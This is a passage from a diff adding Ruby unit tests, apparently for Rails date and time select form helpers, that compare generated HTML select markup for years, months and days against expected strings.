+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+
+ assert_dom_equal(expected, output_buffer)
+ end
+
+ def test_date_select_within_fields_for_with_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = 27
+
+ output_buffer = fields_for :post, @post, :index => id do |f|
+ concat f.date_select(:written_on)
+ end
+
+ expected = %{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+ expected << %{<select id="post_#{id}_written_on_2i" name="post[#{id}][written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+ expected << %{<select id="post_#{id}_written_on_3i" name="post[#{id}][written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+
+ assert_dom_equal(expected, output_buffer)
+ end
+
+ def test_date_select_within_fields_for_with_blank_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = nil
+
+ output_buffer = fields_for :post, @post, :index => id do |f|
+ concat f.date_select(:written_on)
+ end
+
+
+ expected = %{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+ expected << %{<select id="post_#{id}_written_on_2i" name="post[#{id}][written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+ expected << %{<select id="post_#{id}_written_on_3i" name="post[#{id}][written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
+
+ assert_dom_equal(expected, output_buffer)
+ end
+
+ def test_date_select_with_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = 456
+
+ expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :index => id)
+ end
+
+ def test_date_select_with_auto_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = 123
+
+ expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_123_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_123_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post[]", "written_on")
+ end
+
+ def test_date_select_with_different_order
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :order => [:day, :month, :year])
+ end
+
+ def test_date_select_with_nil
+ @post = Post.new
+
+ start_year = Time.now.year-5
+ end_year = Time.now.year+5
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on")
+ end
+
+ def test_date_select_with_nil_and_blank
+ @post = Post.new
+
+ start_year = Time.now.year-5
+ end_year = Time.now.year+5
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
+ end
+
+ def test_date_select_with_nil_and_blank_and_order
+ @post = Post.new
+
+ start_year = Time.now.year-5
+ end_year = Time.now.year+5
+
+ expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
+ end
+
+ def test_date_select_with_nil_and_blank_and_discard_month
+ @post = Post.new
+
+ start_year = Time.now.year-5
+ end_year = Time.now.year+5
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1"/>' + "\n"
+ expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :discard_month => true, :include_blank=>true)
+ end
+
+ def test_date_select_with_nil_and_blank_and_discard_year
+ @post = Post.new
+
+ expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" />' + "\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :discard_year => true, :include_blank=>true)
+ end
+
+ def test_date_select_cant_override_discard_hour
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :discard_hour => false)
+ end
+
+ def test_date_select_with_html_options
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", {}, :class => 'selector')
+ end
+
+ def test_date_select_with_html_options_within_fields_for
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.date_select(:written_on, {}, :class => 'selector')
+ end
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_date_select_with_separator
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", { :date_separator => " / " })
+ end
+
+ def test_date_select_with_separator_and_order
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :date_separator => " / " })
+ end
+
+ def test_date_select_with_separator_and_order_and_year_discarded
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+
+ assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :discard_year => true, :date_separator => " / " })
+ end
+
+ def test_date_select_with_default_prompt
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :prompt => true)
+ end
+
+ def test_date_select_with_custom_prompt
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day'})
+ end
+
+ def test_time_select
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
